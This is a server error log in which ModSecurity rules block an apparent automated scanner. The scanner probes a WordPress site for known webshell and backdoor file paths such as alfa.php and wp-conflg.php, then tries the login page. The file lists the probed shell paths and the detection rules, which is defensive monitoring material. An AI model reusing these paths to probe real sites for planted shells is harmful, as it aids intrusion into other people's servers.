[Fri Jan 09 00:56:08.959792 2026] [:error] [pid 15263:tid 15284] [client 20.196.88.31:7123] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/themes/twentytwentytwo/index.php"] [unique_id "aV_hqNv61bxum7WG_e8uNQAAAAw"]
[Fri Jan 09 00:56:09.422833 2026] [:error] [pid 17404:tid 17426] [client 20.196.88.31:7056] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-admin/js/wp-conflg.php"] [unique_id "aV_hqWVd_oH193N6AnXr0AAAAZQ"]
[Fri Jan 09 00:56:09.847974 2026] [:error] [pid 2484:tid 2487] [client 20.196.88.31:10891] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-admin/js/wp-conflg.php"] [unique_id "aV_hqTiDlnlaQQK_AEPR9AAAAUE"]
[Fri Jan 09 00:56:10.479658 2026] [:error] [pid 2484:tid 2505] [client 20.196.88.31:7163] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-admin/js/wp-conflg.php"] [unique_id "aV_hqjiDlnlaQQK_AEPR9wAAAVE"]
[Fri Jan 09 00:56:10.956825 2026] [:error] [pid 15264:tid 15306] [client 20.196.88.31:7164] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-admin/js/wp-conflg.php"] [unique_id "aV_hqoov6_kvS0Owh-o5jgAAAEc"]
[Fri Jan 09 00:56:11.439165 2026] [:error] [pid 2424:tid 2429] [client 20.196.88.31:10942] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-admin/wp-conflg.php"] [unique_id "aV_hq7TDJR8aofkBk9RiiQAAAQM"]
[Fri Jan 09 00:56:12.169792 2026] [:error] [pid 17404:tid 17416] [client 20.196.88.31:7151] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-admin/wp-conflg.php"] [unique_id "aV_hrGVd_oH193N6AnXr0wAAAYo"]
[Fri Jan 09 00:56:12.694660 2026] [:error] [pid 15264:tid 15311] [client 20.196.88.31:7108] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-admin/wp-conflg.php"] [unique_id "aV_hrIov6_kvS0Owh-o5jwAAAEw"]
[Fri Jan 09 00:56:13.028854 2026] [:error] [pid 2424:tid 2428] [client 20.196.88.31:10886] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-admin/wp-conflg.php"] [unique_id "aV_hrbTDJR8aofkBk9RikAAAAQI"]
[Fri Jan 09 00:56:13.514672 2026] [:error] [pid 15263:tid 15281] [client 20.196.88.31:10926] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-admin/css/wp-conflg.php"] [unique_id "aV_hrdv61bxum7WG_e8uQAAAAAk"]
[Fri Jan 09 00:56:13.879160 2026] [:error] [pid 2424:tid 2437] [client 20.196.88.31:7122] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-admin/css/wp-conflg.php"] [unique_id "aV_hrbTDJR8aofkBk9RimAAAAQs"]
[Fri Jan 09 00:56:14.584186 2026] [:error] [pid 15263:tid 15274] [client 20.196.88.31:10958] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-admin/css/wp-conflg.php"] [unique_id "aV_hrtv61bxum7WG_e8uRAAAAAI"]
[Fri Jan 09 00:56:15.063401 2026] [:error] [pid 7586:tid 7588] [client 20.196.88.31:7109] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-admin/css/wp-conflg.php"] [unique_id "aV_hr8Jyk37GdXP5TmWYawAAAcA"]
[Fri Jan 09 00:56:15.561889 2026] [:error] [pid 2484:tid 2487] [client 20.196.88.31:10997] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/manager.php"] [unique_id "aV_hrziDlnlaQQK_AEPSBQAAAUE"]
[Fri Jan 09 00:56:16.347444 2026] [:error] [pid 15358:tid 15392] [client 20.196.88.31:7158] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/manager.php"] [unique_id "aV_hsCoRk9xWJ3toSBKwVwAAANY"]
[Fri Jan 09 00:56:17.330181 2026] [:error] [pid 15263:tid 15293] [client 20.196.88.31:7066] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/manager.php"] [unique_id "aV_hsdv61bxum7WG_e8uRwAAABU"]
[Fri Jan 09 00:56:17.979367 2026] [:error] [pid 15263:tid 15279] [client 20.196.88.31:10943] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/manager.php"] [unique_id "aV_hsdv61bxum7WG_e8uSgAAAAc"]
[Fri Jan 09 00:56:18.568717 2026] [:error] [pid 15265:tid 15341] [client 20.196.88.31:7105] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/item.php"] [unique_id "aV_hsqE6VBKhew2LTFR4YQAAAI8"]
[Fri Jan 09 00:56:19.246687 2026] [:error] [pid 2484:tid 2507] [client 20.196.88.31:7139] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/item.php"] [unique_id "aV_hsziDlnlaQQK_AEPSEAAAAVM"]
[Fri Jan 09 00:56:19.923517 2026] [:error] [pid 2484:tid 2496] [client 20.196.88.31:10919] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/item.php"] [unique_id "aV_hsziDlnlaQQK_AEPSGAAAAUk"]
[Fri Jan 09 00:56:20.649490 2026] [:error] [pid 17404:tid 17428] [client 20.196.88.31:7131] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/item.php"] [unique_id "aV_htGVd_oH193N6AnXr2QAAAZY"]
[Fri Jan 09 00:56:21.108710 2026] [:error] [pid 15264:tid 15321] [client 20.196.88.31:7137] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/plugins/Cache/footer.php"] [unique_id "aV_htYov6_kvS0Owh-o5kwAAAFY"]
[Fri Jan 09 00:56:21.672383 2026] [:error] [pid 15265:tid 15327] [client 20.196.88.31:10930] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/plugins/Cache/footer.php"] [unique_id "aV_htaE6VBKhew2LTFR4ZAAAAIE"]
[Fri Jan 09 00:56:22.378584 2026] [:error] [pid 7586:tid 7597] [client 20.196.88.31:7124] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/plugins/Cache/footer.php"] [unique_id "aV_htsJyk37GdXP5TmWYeAAAAck"]
[Fri Jan 09 00:56:22.952803 2026] [:error] [pid 15358:tid 15385] [client 20.196.88.31:10960] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/plugins/Cache/footer.php"] [unique_id "aV_htioRk9xWJ3toSBKwXAAAAM8"]
[Fri Jan 09 00:56:23.641998 2026] [:error] [pid 2424:tid 2435] [client 20.196.88.31:7058] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/404.php"] [unique_id "aV_ht7TDJR8aofkBk9RirQAAAQk"]
[Fri Jan 09 00:56:24.384218 2026] [:error] [pid 15358:tid 15379] [client 20.196.88.31:7051] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/404.php"] [unique_id "aV_huCoRk9xWJ3toSBKwXwAAAMk"]
[Fri Jan 09 00:56:25.629647 2026] [:error] [pid 2424:tid 2428] [client 20.196.88.31:10982] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/404.php"] [unique_id "aV_hubTDJR8aofkBk9RisgAAAQI"]
[Fri Jan 09 00:56:28.266546 2026] [:error] [pid 15263:tid 15281] [client 20.196.88.31:10957] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/404.php"] [unique_id "aV_hvNv61bxum7WG_e8uUwAAAAk"]
[Fri Jan 09 00:56:28.646863 2026] [:error] [pid 15358:tid 15392] [client 20.196.88.31:10955] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/mail.php"] [unique_id "aV_hvCoRk9xWJ3toSBKwZwAAANY"]
[Fri Jan 09 00:56:29.184736 2026] [:error] [pid 15265:tid 15350] [client 20.196.88.31:7045] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/mail.php"] [unique_id "aV_hvaE6VBKhew2LTFR4dAAAAJg"]
[Fri Jan 09 00:56:29.572061 2026] [:error] [pid 2424:tid 2432] [client 20.196.88.31:10931] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/mail.php"] [unique_id "aV_hvbTDJR8aofkBk9RitwAAAQY"]
[Fri Jan 09 00:56:30.029308 2026] [:error] [pid 15264:tid 15319] [client 20.196.88.31:7000] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/mail.php"] [unique_id "aV_hvoov6_kvS0Owh-o5mgAAAFQ"]
[Fri Jan 09 00:56:30.378083 2026] [:error] [pid 2484:tid 2496] [client 20.196.88.31:10948] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/plugins/index.php"] [unique_id "aV_hvjiDlnlaQQK_AEPSKwAAAUk"]
[Fri Jan 09 00:56:31.013770 2026] [:error] [pid 2424:tid 2437] [client 20.196.88.31:10992] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/plugins/index.php"] [unique_id "aV_hv7TDJR8aofkBk9RiuQAAAQs"]
[Fri Jan 09 00:56:31.428475 2026] [:error] [pid 2424:tid 2442] [client 20.196.88.31:7050] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/plugins/index.php"] [unique_id "aV_hv7TDJR8aofkBk9RiuwAAARA"]
[Fri Jan 09 00:56:31.832864 2026] [:error] [pid 7586:tid 7607] [client 20.196.88.31:7133] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/plugins/index.php"] [unique_id "aV_hv8Jyk37GdXP5TmWYkAAAAdE"]
[Fri Jan 09 00:56:32.409401 2026] [:error] [pid 7586:tid 7593] [client 20.196.88.31:7145] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/sx.php"] [unique_id "aV_hwMJyk37GdXP5TmWYkwAAAcU"]
[Fri Jan 09 00:56:32.994895 2026] [:error] [pid 15263:tid 15290] [client 20.196.88.31:7142] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/sx.php"] [unique_id "aV_hwNv61bxum7WG_e8uVQAAABI"]
[Fri Jan 09 00:56:33.953664 2026] [:error] [pid 7586:tid 7594] [client 20.196.88.31:7047] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/sx.php"] [unique_id "aV_hwcJyk37GdXP5TmWYlAAAAcY"]
[Fri Jan 09 00:56:34.731448 2026] [:error] [pid 2484:tid 2507] [client 20.196.88.31:7117] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/sx.php"] [unique_id "aV_hwjiDlnlaQQK_AEPSMgAAAVM"]
[Fri Jan 09 00:56:35.279316 2026] [:error] [pid 2484:tid 2503] [client 20.196.88.31:10949] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-admin/maint/admin.php"] [unique_id "aV_hwziDlnlaQQK_AEPSNAAAAU8"]
[Fri Jan 09 00:56:36.103450 2026] [:error] [pid 7586:tid 7599] [client 20.196.88.31:7101] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-admin/maint/admin.php"] [unique_id "aV_hxMJyk37GdXP5TmWYlgAAAcs"]
[Fri Jan 09 00:56:36.653602 2026] [:error] [pid 2424:tid 2433] [client 20.196.88.31:7159] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-admin/maint/admin.php"] [unique_id "aV_hxLTDJR8aofkBk9RixgAAAQc"]
[Fri Jan 09 00:56:37.101197 2026] [:error] [pid 2424:tid 2442] [client 20.196.88.31:10941] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-admin/maint/admin.php"] [unique_id "aV_hxbTDJR8aofkBk9RiyAAAARA"]
[Fri Jan 09 00:56:37.609734 2026] [:error] [pid 7586:tid 7597] [client 20.196.88.31:7104] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/alfa.php"] [unique_id "aV_hxcJyk37GdXP5TmWYmQAAAck"]
[Fri Jan 09 00:56:37.974107 2026] [:error] [pid 2424:tid 2447] [client 20.196.88.31:10918] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/alfa.php"] [unique_id "aV_hxbTDJR8aofkBk9RizAAAARU"]
[Fri Jan 09 00:56:38.698103 2026] [:error] [pid 7586:tid 7611] [client 20.196.88.31:7132] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/alfa.php"] [unique_id "aV_hxsJyk37GdXP5TmWYmgAAAdU"]
[Fri Jan 09 00:56:39.540940 2026] [:error] [pid 15263:tid 15292] [client 20.196.88.31:7067] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/alfa.php"] [unique_id "aV_hx9v61bxum7WG_e8uWwAAABQ"]
[Fri Jan 09 00:56:40.166975 2026] [:error] [pid 15263:tid 15282] [client 20.196.88.31:7148] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/1.php"] [unique_id "aV_hyNv61bxum7WG_e8uXAAAAAo"]
[Fri Jan 09 00:56:40.513757 2026] [:error] [pid 15263:tid 15279] [client 20.196.88.31:7079] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/1.php"] [unique_id "aV_hyNv61bxum7WG_e8uXQAAAAc"]
[Fri Jan 09 00:56:40.808994 2026] [:error] [pid 15358:tid 15370] [client 20.196.88.31:6983] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/1.php"] [unique_id "aV_hyCoRk9xWJ3toSBKwcwAAAMA"]
[Fri Jan 09 00:57:08.284741 2026] [:error] [pid 15358:tid 15387] [client 20.196.88.31:10903] [client 20.196.88.31] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 20.196.88.31, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aV_h5CoRk9xWJ3toSBKwogAAANE"]
[Fri Jan 09 00:57:13.712009 2026] [:error] [pid 15358:tid 15378] [client 20.196.88.31:10903] [client 20.196.88.31] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 20.196.88.31, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aV_h6SoRk9xWJ3toSBKwqQAAAMg"]
[Fri Jan 09 00:57:20.703709 2026] [:error] [pid 15358:tid 15380] [client 20.196.88.31:7086] [client 20.196.88.31] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.vetstars.com.au"] [uri "/wp-includes/ID3/about.php"] [unique_id "aV_h8CoRk9xWJ3toSBKwtgAAAMo"]
